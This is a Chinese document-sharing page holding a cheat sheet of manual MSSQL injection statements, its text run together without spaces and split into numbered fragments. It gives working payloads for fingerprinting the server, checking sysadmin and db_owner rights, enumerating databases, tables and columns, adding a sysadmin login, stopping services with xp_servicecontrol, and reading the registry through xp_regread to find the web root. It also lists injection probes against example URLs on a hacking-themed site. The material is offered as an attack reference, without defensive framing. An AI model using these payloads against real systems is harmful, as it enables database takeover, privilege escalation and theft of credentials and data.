网站手工mssql注入常用sql语句整理

《网站手工mssql注入常用sql语句整理》由会员上传分享，免费在线阅读，更多相关内容在应用文档-天天文库。

1、很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入，以下是收集的一些mssql的sql语句。手工MSSQL注入常用SQL语句andexists(select*fromsysobjects)//判断是否是MSSQLandexists(select*fromtableName)//判断某表是否存在..tableName为表名and1=(select@@VERSION)//MSSQL版本And1=(selectdb_name())//当前数据库名and1=(select@@servern

2、ame)//本地服务名and1=(selectIS_SRVROLEMEMBER(‘sysadmin’))//判断是否是系统管理员and1=(SelectIS_MEMBER(‘db_owner’))//判断是否是库权限and1=(SelectHAS_DBACCESS(‘master’))//判断是否有库读取权限and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=1)//暴库名DBID为1，2，3….;declare@dint//是否支持多行and

3、1=(Selectcount(*)FROMmaster.dbo.sysobjectsWherextype=‘X’ANDname=‘xp_cmdshell’)//判断XP_CMDSHELL是否存在and1=(selectcount(*)FROMmaster.dbo.sysobjectswherename=‘xp_regread’)//查看XP_regread扩展存储过程是不是已经被删除添加和删除一个SA权限的用户test：（需要SA权限）execmaster.dbo.sp_addlogintest,

4、passwordexecmaster.dbo.sp_addsrvrolemembertest,sysadmin停掉或激活某个服务。（需要SA权限）execmaster..xp_servicecontrol‘stop’,’schedule’execmaster..xp_servicecontrol‘start’,’schedule’暴网站目录createtablelabeng(lalanvarchar(255),idint)DECLARE@resultvarchar(255)EXECmaster.d

5、bo.xp_regread‘HKEY_LOCAL_MACHINE’,’SYSTEMControlSet001ServicesW3SVCParametersVirtualRoots’,’/’,@resultoutputinsertintolabeng(lala)values(@result);and1=(selecttop1lalafromlabeng)或者and1=(selectcount(*)fromlabengwherelala>1)—————————————————————————

6、————————————————————————————分割SQLServer判断是否可注射：http://www.exehack.net/article.asp?id=6http://www.exehack.net/article.asp?id=6′http://www.exehack.net/article.asp?id=6and1=1http://www.exehack.net/article.asp?id=6and1=2http://www.exehack.net/article.asp?

7、action=value’and1=1http://www.exehack.net/article.asp?action=value’and1=2searchpoints%’and1=1searchpoints%’and1=2确定数据库类型：http://www.exehack.net/article.asp?id=6anduser>0http://www.exehack.net/article.asp?id=6and(selectcount(*)fromsysobjects)>0查询当前用户数据

8、信息：article.asp?id=6having1=1–暴当前表中的列：article.asp?id=6groupbyadmin.usernamehaving1=1–article.asp?id=6groupbyadmin.username,admin.passwordhaving1=1–暴任意表和列：and(selecttop1namefrom(selecttopNid,namefromsysobjectswherextype=char(85))Torderbyiddesc)>